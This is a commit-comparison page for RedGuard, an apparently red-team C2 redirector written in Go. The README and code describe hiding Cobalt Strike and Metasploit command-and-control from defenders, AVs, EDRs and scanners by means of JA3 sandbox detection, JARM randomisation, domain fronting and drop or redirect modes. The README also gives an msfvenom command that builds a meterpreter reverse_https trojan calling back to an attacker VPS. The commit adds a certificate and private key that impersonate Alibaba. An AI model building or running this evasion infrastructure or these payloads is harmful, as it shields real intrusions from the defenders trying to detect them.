mirror of
https://github.com/wikiZ/RedGuard
synced 2026-06-08 18:18:32 +00:00
Compare commits
3 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
 风起
|
f394f46062 | ||
|
风起
|
aed5a37e46 | ||
|
风起
|
4ccc4f7e69 |
@@ -1,3 +1,14 @@
|
||||
## [22.6.30.1107] - 2022-6-30
|
||||
### Added
|
||||
- Domain fronting Obtain the actual requested IP address
|
||||
|
||||
## [22.6.28.1712] - 2022-6-28
|
||||
### Added
|
||||
- JA3 fingerprint Identify sandbox
|
||||
- Code has been optimized
|
||||
- Solved the problem that communication cannot be performed normally
|
||||
due to the incompatibility of TLS jarm fingerprint randomize with custom certificates
|
||||
|
||||
## [22.5.26.1716] - 2022-5-26
|
||||
### Added
|
||||
- TLS jarm fingerprint randomize
|
||||
|
||||
@@ -6,6 +6,8 @@
|
||||
|
||||
English | [中文文档](https://github.com/wikiZ/RedGuard/blob/main/doc/README_CN.md)
|
||||
|
||||
|
||||
|
||||
# 0x00 Introduction
|
||||
|
||||
## Tool introduction
|
||||
@@ -17,12 +19,13 @@ RedGuard is a C2 facility pre-flow control tool that can avoid Blue Team, AVS, E
|
||||
## Application scenarios
|
||||
|
||||
- During the offensive and defensive drills, the defender analyzes and traces the source of C2 interaction traffic according to the situational awareness platform
|
||||
- Prevent malicious analysis of Trojan samples in cloud sandbox environment
|
||||
- Identify and prevent malicious analysis of Trojan samples in cloud sandbox environment based on JA3 fingerprint library
|
||||
- Block malicious requests to implement replay attacks and achieve the effect of confusing online
|
||||
- In the case of specifying the IP of the online server, the request to access the interactive traffic is restricted by means of a whitelist
|
||||
- Prevent the scanning and identification of C2 facilities by cyberspace mapping technology, and redirect or intercept the traffic of scanning probes
|
||||
- Supports pre-flow control for multiple C2 servers, and can achieve the effect of domain front-end, load balancing online, and achieve the effect of concealment
|
||||
- Able to perform regional host online restriction according to the attribution of IP address by requesting IP reverse lookup API interface
|
||||
- Resolve strong features of staged checksum8 rule path parsing without changing the source code.
|
||||
- Analyze blue team tracing behavior through interception logs of target requests, which can be used to track peer connection events/issues
|
||||
- It has the function of customizing the time period for the legal interaction of the sample to realize the function of only conducting traffic interaction during the working time period
|
||||
- Malleable C2 Profile parser capable of validating inbound HTTP/S requests strictly against malleable profile and dropping outgoing packets in case of violation (supports Malleable Profiles 4.0+)
|
||||
@@ -50,11 +53,11 @@ chmod +x ./RedGuard&&./RedGuard
|
||||
|
||||
As shown in the figure below, first grant executable permissions to RedGuard and perform initialization operations. The first run will generate a configuration file in the current user directory to achieve flexible function configuration. Configuration file name: **.RedGuard_CobaltStrike.ini**.
|
||||
|
||||
|
||||
|
||||
|
||||
**Configuration file content:**
|
||||
|
||||
|
||||
|
||||
|
||||
The configuration options of cert are mainly for the configuration information of the HTTPS traffic exchange certificate between the sample and the C2 front-end facility. The proxy is mainly used to configure the control options in the reverse proxy traffic. The specific use will be explained in detail below.
|
||||
|
||||
@@ -64,18 +67,29 @@ The SSL certificate used in the traffic interaction will be generated in the cer
|
||||
openssl x509 -in ca.crt -noout -text
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
Random TLS JARM fingerprints are updated each time RedGuard is started to prevent this from being used to authenticate C2 facilities.
|
||||
|
||||
|
||||
|
||||
In the case of using your own certificate, modify the HasCert parameter in the configuration file to true to prevent normal communication problems caused by the incompatibility of the CipherSuites encryption suite with the custom certificate caused by the randomization of JARM confusion.
|
||||
|
||||
```bash
|
||||
# Whether to use the certificate you have applied for true/false
|
||||
HasCert = false
|
||||
```
|
||||
|
||||
## RedGuard Usage
|
||||
|
||||
```bash
|
||||
root@VM-4-13-ubuntu:~# ./RedGuard -h
|
||||
|
||||
Usage of ./RedGuard:
|
||||
-DropAction string
|
||||
RedGuard interception action (default "redirect")
|
||||
-HasCert string
|
||||
Whether to use the certificate you have applied for (default "false")
|
||||
-allowIP string
|
||||
Proxy Requests Allow IP (default "*")
|
||||
-allowLocation string
|
||||
@@ -88,8 +102,6 @@ Usage of ./RedGuard:
|
||||
Cert Country (default "CN")
|
||||
-dns string
|
||||
Cert DNSName
|
||||
-drop string
|
||||
Proxy Filter Enable DROP (default "false")
|
||||
-host string
|
||||
Set Proxy HostTarget
|
||||
-http string
|
||||
@@ -124,7 +136,7 @@ If you directly access the port of the reverse proxy, the interception rule will
|
||||
|
||||
Here, in order to facilitate the display of the output effect, the actual use can be run in the background through `nohup ./RedGuard &`.
|
||||
|
||||
|
||||
|
||||
|
||||
```bash
|
||||
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
|
||||
@@ -132,7 +144,7 @@ Here, in order to facilitate the display of the output effect, the actual use ca
|
||||
|
||||
It is not difficult to see from the above slice that 360.net corresponds to the proxy to the local port 8080, 360.com points to the local port 4433, and corresponds to the difference in the HTTP protocol used. In the subsequent online, you need to pay attention to the protocol of the listener. The type needs to be consistent with the one set here, and set the corresponding HOST request header.
|
||||
|
||||
|
||||
|
||||
|
||||
As shown in the figure above, in the case of unauthorized access, the response information we get is also the return information of the redirected site.
|
||||
|
||||
@@ -144,12 +156,13 @@ Invalid packets can be misrouted according to two strategies:
|
||||
|
||||
- **reset**: Terminate the TCP connection immediately.
|
||||
- **proxy**: Get a response from another website to mimic the cloned/hijacked website as closely as possible.
|
||||
- **redirect**: redirect to the specified website and return HTTP status code 302, there is no requirement for the redirected website.
|
||||
|
||||
```bash
|
||||
# Determines whether to intercept intercepted traffic default false / true
|
||||
DROP = false
|
||||
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
|
||||
drop_action = proxy
|
||||
# URL to redirect to
|
||||
Redirect = https://360.net
|
||||
Redirect = https://360.net
|
||||
```
|
||||
|
||||
**Redirect = URL** in the configuration file points to the hijacked URL address. RedGuard supports "hot change", which means that while the tool is running in the background through nohup, we can still modify the configuration file. The content is started and stopped in real time.
|
||||
@@ -162,7 +175,7 @@ Note that when modifying the configuration file through the command line. The -u
|
||||
|
||||
Another interception method is DROP, which directly closes the HTTP communication response and is enabled by setting **DROP = true**. The specific interception effect is as follows:
|
||||
|
||||
|
||||
|
||||
|
||||
It can be seen that the C2 pre-flow control directly responds to illegal requests without the HTTP response code. In the detection of cyberspace mapping, the DROP method can achieve the function of hiding the opening of ports. The specific effect can be seen in the following case. analyze.
|
||||
|
||||
@@ -181,7 +194,7 @@ Port_HTTP = :80
|
||||
|
||||
The blue team tracing behavior is analyzed through the interception log of the target request, which can be used to track peer connection events/problems. The log file is generated in the directory where RedGuard is running, **file name: RedGuard.log**.
|
||||
|
||||
|
||||
|
||||
|
||||
## Request geographic restrictions
|
||||
|
||||
@@ -194,7 +207,7 @@ P.S. Domestic users, do not use **AllowLocation = Jinan,beijing** this way! It d
|
||||
AllowLocation = *
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
Before deciding to restrict the region, you can manually query the IP address by the following command.
|
||||
|
||||
@@ -226,7 +239,7 @@ In addition to the built-in blacklist of security vendor IPs in RedGuard, we can
|
||||
AllowIP = 127.0.0.1
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
As shown in the figure above, we only allow 127.0.0.1 to go online, then the request traffic of other IPs will be intercepted.
|
||||
|
||||
@@ -239,7 +252,7 @@ This function is more interesting. Setting the following parameter values in the
|
||||
AllowTime = 8:00 - 21：00
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
## Malleable Profile
|
||||
|
||||
@@ -250,7 +263,7 @@ RedGuard uses the Malleable C2 profile. It then parses the provided malleable co
|
||||
MalleableFile = /root/cobaltstrike/Malleable.profile
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
The profile written by 风起 is recommended to use:
|
||||
|
||||
@@ -262,15 +275,19 @@ The profile written by 风起 is recommended to use:
|
||||
|
||||
As shown in the figure below, when our interception rule is set to DROP, the spatial mapping system probe will probe the / directory of our reverse proxy port several times. In theory, the request packet sent by mapping is faked as normal traffic. Show. But after several attempts, because the characteristics of the request packet do not meet the release requirements of RedGuard, they are all responded by Close HTTP. The final effect displayed on the surveying and mapping platform is that the reverse proxy port is not open.
|
||||
|
||||
|
||||
|
||||
|
||||
The traffic shown in the figure below means that when the interception rule is set to Redirect, we will find that when the mapping probe receives a response, it will continue to scan our directory. UserAgent is random, which seems to be in line with normal traffic requests, but both successfully blocked.
|
||||
|
||||
|
||||
|
||||
|
||||
**Mapping Platform - Hijack Response Intercept Mode Effect:**
|
||||
|
||||
|
||||
|
||||
**Surveying and mapping platform - effect of redirection interception:**
|
||||
|
||||
|
||||
|
||||
|
||||
## Domain fronting
|
||||
|
||||
@@ -284,7 +301,7 @@ In individual combat, I suggest that the above method can be used, and in team t
|
||||
|
||||
In the self-built Domain fronting, keep multiple reverse proxy ports consistent, and the HOST header consistently points to the real C2 server listening port of the backend. In this way, our real C2 server can be well hidden, and the server of the reverse proxy can only open the proxy port by configuring the firewall.
|
||||
|
||||
|
||||
|
||||
|
||||
This can be achieved through multiple node servers, and configure multiple IPs of our nodes in the CS listener HTTPS online IP.
|
||||
|
||||
@@ -308,6 +325,33 @@ And because our basic verification is based on the HTTP HOST request header, wha
|
||||
|
||||
For the listener settings, the online port is set to the RedGuard reverse proxy port, and the listening port is the actual online port of the local machine.
|
||||
|
||||
## Metasploit
|
||||
|
||||
**Generates Trojan**
|
||||
|
||||
```bash
|
||||
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
|
||||
-f exe -o ~/path/to/payload.exe
|
||||
```
|
||||
|
||||
Of course, as a domain fronting scenario, you can also configure your LHOST to use any domain name of the manufacturer's CDN, and pay attention to setting the HttpHostHeader to match RedGuard.
|
||||
|
||||
```bash
|
||||
setg OverrideLHOST 360.com
|
||||
setg OverrideLPORT 443
|
||||
setg OverrideRequestHost true
|
||||
```
|
||||
|
||||
It is important to note that the `OverrideRequestHost` setting must be set to `true`. This is due to a quirk in the way Metasploit handles incoming HTTP/S requests by default when generating configuration for staging payloads. By default, Metasploit uses the incoming request's `Host` header value (if present) for second-stage configuration instead of the `LHOST` parameter. Therefore, the build stage is configured to send requests directly to your hidden domain name because CloudFront passes your internal domain in the `Host` header of forwarded requests. This is clearly not what we are asking for. Using the `OverrideRequestHost` configuration value, we can force Metasploit to ignore the incoming `Host` header and instead use the `LHOST` configuration value pointing to the origin CloudFront domain.
|
||||
|
||||
The listener is set to the actual line port that matches the address RedGuard actually forwards to.
|
||||
|
||||
|
||||
|
||||
RedGuard received the request:
|
||||
|
||||
|
||||
|
||||
# 0x05 Loading
|
||||
|
||||
Thank you for your support. RedGuard will continue to improve and update it. I hope that RedGuard can be known to more security practitioners. The tool refers to the design ideas of RedWarden.
|
||||
|
||||
+2022
File diff suppressed because it is too large
Load Diff
+14
-14
@@ -1,24 +1,24 @@
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIEFTCCAv2gAwIBAgIIFvKTM+hcLlgwDQYJKoZIhvcNAQELBQAwZjELMAkGA1UE
|
||||
MIIEFTCCAv2gAwIBAgIIFv1FwrYv9MwwDQYJKoZIhvcNAQELBQAwZjELMAkGA1UE
|
||||
BhMCQ04xETAPBgNVBAcTCEhhbmdaaG91MS0wKwYDVQQKEyRBbGliYWJhIChDaGlu
|
||||
YSkgVGVjaG5vbG9neSBDby4sIEx0ZC4xFTATBgNVBAMMDCouYWxpeXVuLmNvbTAe
|
||||
Fw0yMjA1MjYwNjE3NDRaFw0yMzA1MjYwNjE3NDRaMGYxCzAJBgNVBAYTAkNOMREw
|
||||
Fw0yMjA2MzAwMjQyMjBaFw0yMzA2MzAwMjQyMjBaMGYxCzAJBgNVBAYTAkNOMREw
|
||||
DwYDVQQHEwhIYW5nWmhvdTEtMCsGA1UEChMkQWxpYmFiYSAoQ2hpbmEpIFRlY2hu
|
||||
b2xvZ3kgQ28uLCBMdGQuMRUwEwYDVQQDDAwqLmFsaXl1bi5jb20wggEiMA0GCSqG
|
||||
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDYtBVVKEmf9SAEXNavZYLH2STQJZmmzLaX
|
||||
aoQbYO/OXOoyZIHIHTmi6On/X1VPnldTizN5f6m9Ff99A50x4cASiICgXJrb/YIJ
|
||||
oiOmSgmC9gEoteHeOzrLRZcESC3V5JmGY7DXKeRwcusBK0Nbi82nbz3IvxbTUCbw
|
||||
LXYobOPtsFrX3p7Zc/XaBgFkIiIekuU4JalaJjOOh+tpDhAkoFPUvRFNg6wehu8G
|
||||
qFGhkEdhVqsQCglZcJFQjCA34FY4cm2sLIoTqB9yuECammagT3g6Ua4RUo5nEiU4
|
||||
a8/AYjbPvjZkqB7ieZK8EBMn1W6MG4OGQ11RNt0vTyKBjPHI+5DBAgMBAAGjgcYw
|
||||
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8oapqcUeFdoIFhgx7CXQwTVii7+Wx6Puw
|
||||
Zc6xoDlDx579BL/iSAnJBOC6PL4uZDnzj1iIIVzhD56mMJfVcX4izm3F54V8xHjo
|
||||
99V9TBcKRtlU0aUos88UtoHjNsZTZqrqaE6ZPRkrTE/bJUkhUEk/Nft3T58EJtHA
|
||||
+T7oqDLX0wOmSQIwdUpaQHodEE3JJiy+1dH2WAJY6EuRmVgS1Byu7ZYSAX++dylQ
|
||||
fBlp9VEY8Dc/zRuJHjaPE4AgNO6zrx1PAcAweFEmitkSJ4EdeQInWU+gVpPyV48t
|
||||
btcgfEn3lSi3ZFTHs9yvvu+qewcJZhk1Es6LcuBSTa5VJPGXNIpVAgMBAAGjgcYw
|
||||
gcMwDgYDVR0PAQH/BAQDAgKkMBMGA1UdJQQMMAoGCCsGAQUFBwMBMIGbBgNVHREE
|
||||
gZMwgZCCDCouYWxpeXVuLmNvbYIabWFuYWdlci5jaGFubmVsLmFsaXl1bi5jb22C
|
||||
HCouYWNzLWludGVybmFsLmFsaXl1bmNzLmNvbSKCFCouY29ubmVjdC5hbGl5dW4u
|
||||
Y29tggphbGl5dW4uY29tghB3aG9pcy53d3cubmV0LmNughJ0aWFuY2hpLWdsb2Jh
|
||||
bC5jb20wDQYJKoZIhvcNAQELBQADggEBACKuf9U4bAL+P0YicjnRIY80gPQl5bJz
|
||||
4zdqV3D0VUWPrJfsUhBrp2LQQOdlvcyvwwE6No27GnvRQw7p5rYDviTk7jitAixx
|
||||
6+2iKivvR2/zlsulL5LgLXH1+6VQtGCa7FjvTO0hLUBgqY+FkKNZVQ3qtVnX37Op
|
||||
2X1d3GMsYot1hrJOhnoIhXhhWiRpW4Ux2yaSTM3P/YuPCwumO8zkRO85r5exNXIH
|
||||
UWwVWOv1NZg+N5y64ulpbYCqGp2v1vMzpj55HWuEr+xm9PhO7wIO0xD95vizuyzL
|
||||
+yz2GhGUzlLvrpWhEyqiIuX+0FRUcrYmwlHqe/j8XEI/tBKH7Tr9Rl8=
|
||||
bC5jb20wDQYJKoZIhvcNAQELBQADggEBALu0PXsdK7oZspNRPhdzlRHlvKiHvESl
|
||||
Ip0eN6Q+0y5a+dgbo99YsnpYLzc9ZoNhfXb7Ksxk9gnA+7n4XNM6aKIh2SL6zptX
|
||||
wwOTrccOlNmekl4sHszw8MCOGguJk3mcW1LeKpNHdMoWdom2/CN7Ja+ew1tHeMVe
|
||||
aZUAqi1sOB7C+52SeyrYfZAuQickyy1NdPiJMI8ojNxgdErqLvuu4ZUOJ3XlzQQi
|
||||
OM4/CYAQNeqMyrzc089kjplL9WwyCDj5jtz971OTedfTT0KVVLRrkFT0fx+mwbGV
|
||||
4uG+7iKtFH/uYiBpB9GV8q0JUMie4k8zsnk5F84y7OhLB0noVcmT3NE=
|
||||
-----END CERTIFICATE-----
|
||||
|
||||
+25
-25
@@ -1,27 +1,27 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEowIBAAKCAQEA2LQVVShJn/UgBFzWr2WCx9kk0CWZpsy2l2qEG2DvzlzqMmSB
|
||||
yB05oujp/19VT55XU4szeX+pvRX/fQOdMeHAEoiAoFya2/2CCaIjpkoJgvYBKLXh
|
||||
3js6y0WXBEgt1eSZhmOw1ynkcHLrAStDW4vNp289yL8W01Am8C12KGzj7bBa196e
|
||||
2XP12gYBZCIiHpLlOCWpWiYzjofraQ4QJKBT1L0RTYOsHobvBqhRoZBHYVarEAoJ
|
||||
WXCRUIwgN+BWOHJtrCyKE6gfcrhAmppmoE94OlGuEVKOZxIlOGvPwGI2z742ZKge
|
||||
4nmSvBATJ9VujBuDhkNdUTbdL08igYzxyPuQwQIDAQABAoIBAQDKl0keTMTQAyVE
|
||||
jtqyLU+fsHTHF2/XTakiU5Vf1zc6EQltxSLDx/a7Q86HTUP/ZEO1ufyMiPpR6P/q
|
||||
ivdpy+h6Kx09TnYEVrM8eFWlv6+2vHAG9EtOLMdhhBSUDzqyrb2NsyN/dA25xuXH
|
||||
OQAG1OOVtdzoESWwtk1A2u+NCYfpC+5ommo3bPjPG/TESGbCBPONrt6fvqlOSRl6
|
||||
OqhKoCramEKaODHQ91eJl+5yrNa7RpRajxMLt5WkSEvbDOU7KsDTiFCNcVsIv1r3
|
||||
x9e2HReNLPx6p/smphGph9Q/kGlcfyfSAjPKG2vHL/IUYznU9fAp1zd881D3azIQ
|
||||
+03i2DvxAoGBAOBr3oW81nPTYkPR1I2DSi0Firt3bDzB+SaMo1BD3BIK2X6J4azY
|
||||
OzsGaEhqJl1rMDrNUv05ckSPbpXyfCIq/5kCC6QUJ5eQs6NF3r+6V5O75PacHz49
|
||||
eQpS5qovZwwp4FPHrL+i7MDxGEtS90OC5HwQzKPSIXaD+wJ2ltZsuolFAoGBAPcy
|
||||
MtX89a+JHK+cXiweQQMpeU4iYa4+QGkEOiukttjJ/0MVA6ooaXEvpZKVcN57t2fx
|
||||
+d04ZWobgTVnfMMd+212sW8FqDbZPOBjTKHwWRkLDBHmBVcUQSE3P+vyLIM4RaXO
|
||||
SBLp5ffVbFMeJ2ROnyBt5B+gNK0KjSG+HeSmLhtNAoGACbVA3AIuOLZ1Mr/Z9QEv
|
||||
7UCnHrLs0LgHYh6FVgyJcZJclDe8tnBoJ4aAblmBLVtcq76ED4YzpjmaLAxgSE4Z
|
||||
3nGTNVbV252b171HBH44GaDwJ6bbRyL7oHGznrsMNx98n8MseuG+Yh5L0b5WCeqY
|
||||
nbFQWOnXHrxY2GNu5PmxHA0CgYBbNgSX/OzSxm71RWdiNA+dERKXiAwu9P1jQpIM
|
||||
RIzLVU2A/SILCTpO71vSyJ2LGm9ERX8C56pUCq4UfIkGneuGKoOyCY5WHrZdvYYr
|
||||
Qro9iVv8xrk1tl2J2g8WCpfuGzdnxMPHZtLaLb/4s2mpk3EX0DSajsyhBQGqb7Is
|
||||
Cj19CQKBgC6L+d36jti+XOs6nhCLs1lwXr4oRm1SLW7Fqm4QF88MqCfoUHUaGnWe
|
||||
jUO3pWQlcVu2pt2Ud1AsbOUhGWXbJjksf7n7TKlRLTv/BcQnOxcI2lCa6IALbjlu
|
||||
eeVkk5HyHb76p6+OpR113EM3f5MJvQoIPA/+hlHMWcT2tl+v/h1V
|
||||
MIIEpAIBAAKCAQEAvKGqanFHhXaCBYYMewl0ME1You/lsej7sGXOsaA5Q8ee/QS/
|
||||
4kgJyQTgujy+LmQ5849YiCFc4Q+epjCX1XF+Is5txeeFfMR46PfVfUwXCkbZVNGl
|
||||
KLPPFLaB4zbGU2aq6mhOmT0ZK0xP2yVJIVBJPzX7d0+fBCbRwPk+6Kgy19MDpkkC
|
||||
MHVKWkB6HRBNySYsvtXR9lgCWOhLkZlYEtQcru2WEgF/vncpUHwZafVRGPA3P80b
|
||||
iR42jxOAIDTus68dTwHAMHhRJorZEieBHXkCJ1lPoFaT8lePLW7XIHxJ95Uot2RU
|
||||
x7Pcr77vqnsHCWYZNRLOi3LgUk2uVSTxlzSKVQIDAQABAoIBAEcEjsaYc5b58SXn
|
||||
PBeujYIJ/M8Lhu0ejHPzQIh7jFPKej9EZIHrIVP/dCRp7ihFL9RVKb3G4dMSMGbd
|
||||
cKy5mAW+tnGGIynARs1fUY9k8F+8IOLgM1BJsjNYKzrCSpTn2H18W+sxp6I3jvEw
|
||||
7oGOWqVjy5M19OZ5PwtqS5cIjGvYrs3y3F9VY/TYVBJvFB3BeJ72KJ20P6St1FRt
|
||||
t0fq8PXQf/zdQHSJ1/wRr1MeL7D4othp7A6pYn3Gzasgd9Qa3tRwCNVTi8XrPBUN
|
||||
5mHpfP/N5lUnNieW/gVyc+Iry2uGo3Z/++q3F6WZefcOfPa93BfA0QOnnT1tGvNk
|
||||
MJKX5sECgYEA38uRFqtqenz2TQr1RPGhm6tPh6NuUxh+huj07zBNcorDNKbx/Y7W
|
||||
zuRIn2ZTTuLEZnjLQQ6NYFfRMtgYh4hzrj5LvRGcNPaWymIJtaPH8ArFTRifmscC
|
||||
cp1fogTvc0pl7Jze40BOyyXEmviYu8+fRpAATqM68+0SJDZ7Qwyf2m0CgYEA18ay
|
||||
lXG51G1WXi3w4mcy/gMqPr8Y8MBog0APDMws43JRX3loOW/IunpgjZ17l0WV36pX
|
||||
vDfmYSZVdd7c0DPQzsDf36oXodOfn4t4laEpH8sqDlOIICwL/ZPaEnfqE0EoBik3
|
||||
6jpRD6oL7o4QUYVnbHkSU18XkGBk5DwDWHBjfokCgYEAlKOYEf54EjK9RB5rGQeD
|
||||
1ujJQcWCmR5Dq0c+pz7lsZYIYQgg4c/lTDTDJ1vHKTXkTEsedG895ydsguCUKjCu
|
||||
5KPrmgAASA0fyfujh0jomr4MnVAlcZ+MOKPdyLaOc3yOhcELKNSlgLftBSDoEJWt
|
||||
rCgojBJOLYTf771f0QCpi2ECgYAcri14jbg8kxfixsp43Wy6tKL92hqvjXOW1oHp
|
||||
mo3w4XYNca63y7Lrjm6dBCy0S6yDITouK2P0z8qWMzw4dFqx0JMxQIOJn/5cj4ZE
|
||||
pTo5HqEFbHbwh8pEN03KHKRBUOzH/NyQxpWVtm2FlN54Z3n6whD8gew45YcjixKK
|
||||
w82FuQKBgQC0I1lKmsBhhkGMNdX4u2RFyPAHQr0Uu1NTjugrH/Lnt4qG9JCVFUZV
|
||||
ZceIpsvcNdnPuaDGUNl+B/JQSjyW4Gx3x6+HIzu5A7XEFe5tPCaBxWWdCg7bPrk0
|
||||
a3XnA+GTH2dlWD05EtBjQxrO3iQhFx/UxncWWjdxEPpFj6fXLgiKfg==
|
||||
-----END RSA PRIVATE KEY-----
|
||||
|
||||
@@ -1,9 +1,8 @@
|
||||
package config
|
||||
|
||||
var RedGuardConfig = `
|
||||
[cert]
|
||||
var RedGuardConfig = `[cert]
|
||||
# User Optional name
|
||||
DNSName = *.aliyun.com,manager.channel.aliyun.com,*.acs-internal.aliyuncs.com",*.connect.aliyun.com,aliyun.com,whois.www.net.cn,tianchi-global.com
|
||||
DNSName = *.aliyun.com,manager.channel.aliyun.com,*.acs-internal.aliyuncs.com,*.connect.aliyun.com,aliyun.com,whois.www.net.cn,tianchi-global.com
|
||||
# Cert User CommonName
|
||||
CommonName = *.aliyun.com
|
||||
# Cert User Locality
|
||||
@@ -12,6 +11,8 @@ Locality = HangZhou
|
||||
Organization = Alibaba (China) Technology Co., Ltd.
|
||||
# Cert User Country
|
||||
Country = CN
|
||||
# Whether to use the certificate you have applied for true/false
|
||||
HasCert = false
|
||||
|
||||
[proxy]
|
||||
# key : Header Host value of the reverse proxy
|
||||
@@ -21,8 +22,8 @@ HostTarget = {"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:
|
||||
Port_HTTPS = :443
|
||||
# HTTP Reverse proxy port
|
||||
Port_HTTP = :80
|
||||
# Determines whether to intercept intercepted traffic default false / true
|
||||
DROP = false
|
||||
# RedGuard interception action: redirect / reset / proxy (Hijack HTTP Response)
|
||||
drop_action = proxy
|
||||
# URL to redirect to
|
||||
Redirect = https://360.net
|
||||
# IP address owning restrictions example:AllowLocation = 山东,上海,杭州 or shanghai,beijing
|
||||
@@ -33,5 +34,4 @@ AllowIP = *
|
||||
AllowTime = *
|
||||
# C2 Malleable File Path
|
||||
MalleableFile = *
|
||||
|
||||
`
|
||||
|
||||
+1
-1
@@ -21,7 +21,7 @@ Github:%s
|
||||
|
||||
RedGuard is a C2 front flow control tool,Can avoid Blue Teams,AVs,EDRs check.
|
||||
`
|
||||
VERSION = "22.5.26.1716 Alpha"
|
||||
VERSION = "22.6.30.1107 Alpha"
|
||||
TITLE = "RedGuard"
|
||||
LICENSE = "GPL-2.0"
|
||||
URL = "https://github.com/wikiZ/RedGuard"
|
||||
|
||||
+1
-1
@@ -11,7 +11,6 @@ import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -20,6 +19,7 @@ import (
|
||||
"RedGuard/lib"
|
||||
|
||||
parser "github.com/D00Movenok/goMalleable"
|
||||
"github.com/sleeyax/ja3rp/net/http"
|
||||
"github.com/wxnacy/wgo/arrays"
|
||||
)
|
||||
|
||||
|
||||
+72
-36
@@ -8,20 +8,25 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"RedGuard/lib"
|
||||
"crypto/tls"
|
||||
"github.com/wxnacy/wgo/arrays"
|
||||
"io"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"net/http/httputil"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"RedGuard/lib"
|
||||
|
||||
"github.com/sleeyax/ja3rp/crypto/tls"
|
||||
"github.com/sleeyax/ja3rp/net/http"
|
||||
"github.com/sleeyax/ja3rp/net/http/httputil"
|
||||
"github.com/wxnacy/wgo/arrays"
|
||||
)
|
||||
|
||||
var (
|
||||
ip string // HTTP remote IP
|
||||
redirectURL string // Proxy redirect URL
|
||||
_addressArray []string // By request list
|
||||
_startUp sync.Mutex // mutex lock
|
||||
_hostProxy = make(map[string]*httputil.ReverseProxy) // Used to cache httputil.ReverseProxy
|
||||
@@ -36,16 +41,20 @@ func NewProxy(proxyURL string, dropType bool) (*httputil.ReverseProxy, error) {
|
||||
}
|
||||
proxy := httputil.NewSingleHostReverseProxy(destinationURL)
|
||||
// dropType Check whether the response to the request is changed
|
||||
if dropType {
|
||||
proxy.ModifyResponse = modifyResponse() // Modifies the response to the request
|
||||
}
|
||||
proxy.ModifyResponse = modifyResponse(dropType) // Modifies the response to the request
|
||||
return proxy, nil
|
||||
}
|
||||
|
||||
func modifyResponse() func(*http.Response) error {
|
||||
func modifyResponse(drop bool) func(*http.Response) error {
|
||||
return func(resp *http.Response) error {
|
||||
defer func(Body io.ReadCloser) {
|
||||
_ = Body.Close() // Direct shutdown response
|
||||
logger.Warningf("[RESPONSE] HTTP %s, length: %d", resp.Status, resp.ContentLength)
|
||||
if drop {
|
||||
// DROP Request
|
||||
logger.Alertf("[DROP] Source IP: %s", ip)
|
||||
_ = Body.Close() // Direct shutdown response
|
||||
return
|
||||
}
|
||||
}(resp.Body)
|
||||
return nil
|
||||
}
|
||||
@@ -53,20 +62,31 @@ func modifyResponse() func(*http.Response) error {
|
||||
|
||||
// ProxyRequestHandler A reverse proxy processes HTTP requests
|
||||
func (h *baseHandle) ServeHTTP(write http.ResponseWriter, req *http.Request) {
|
||||
host := &req.Host
|
||||
// Obtain the domain name and target map
|
||||
hostTarget := lib.JsonToMap(lib.ReadConfig(
|
||||
"proxy",
|
||||
"HostTarget",
|
||||
lib.InitConfig()),
|
||||
var (
|
||||
host = &req.Host
|
||||
cfg = lib.InitConfig() // config file object
|
||||
// Obtain the domain name and target map
|
||||
hostTarget = lib.JsonToMap(lib.ReadConfig(
|
||||
"proxy",
|
||||
"HostTarget",
|
||||
cfg),
|
||||
)
|
||||
// Read the configuration file to check whether DROP is enabled
|
||||
dropAction = lib.ReadConfig("proxy", "drop_action", cfg)
|
||||
// IP address of the host that initiates the request
|
||||
)
|
||||
var isDrop bool
|
||||
var proxy *httputil.ReverseProxy
|
||||
// Determine the URL to be redirected to
|
||||
redirectURL := lib.ReadConfig("proxy", "Redirect", lib.InitConfig())
|
||||
// Read the configuration file to check whether DROP is enabled
|
||||
isDrop, _ := strconv.ParseBool(lib.ReadConfig("proxy", "DROP", lib.InitConfig()))
|
||||
ip := lib.ConvertIP(req.RemoteAddr) // IP address of the host that initiates the request
|
||||
redirectURL = lib.ReadConfig("proxy", "Redirect", cfg)
|
||||
ip = lib.ConvertIP(req.RemoteAddr)
|
||||
// Obtaining the real IP address
|
||||
if req.Header.Get("X-Forwarded-For") != "" {
|
||||
ip = req.Header.Get("X-Forwarded-For")
|
||||
}
|
||||
// Check whether the host is verified
|
||||
if IPHash := lib.EncodeMD5(ip); arrays.ContainsString(_addressArray, IPHash) == -1 {
|
||||
if IPHash := lib.EncodeMD5(req.JA3); arrays.ContainsString(_addressArray, req.JA3) == -1 {
|
||||
logger.Noticef("JA3 FingerPrint: %s", IPHash)
|
||||
logger.Noticef("[REQUEST] %s %s", req.Method, req.RequestURI)
|
||||
// Request filtering method
|
||||
if !ProxyFilterManger(req) {
|
||||
@@ -98,18 +118,26 @@ LOOK:
|
||||
if len(_addressArray) > 0 {
|
||||
_addressArray = _addressArray[:len(_addressArray)-1]
|
||||
}
|
||||
// Determine whether to redirect or intercept intercepted traffic
|
||||
proxy, _ := NewProxy(redirectURL, isDrop)
|
||||
// TODO: Maybe we need a little optimization here, right?
|
||||
if isDrop {
|
||||
// DROP Request
|
||||
logger.Alertf("[DROP] Source IP: %s", ip)
|
||||
} else {
|
||||
// REDIRECT Request
|
||||
logger.Alertf("[REDIRECT] Source IP: %s -> Destination Site: %s", ip, redirectURL)
|
||||
// dropAction Select the reverse proxy interception mode
|
||||
switch dropAction {
|
||||
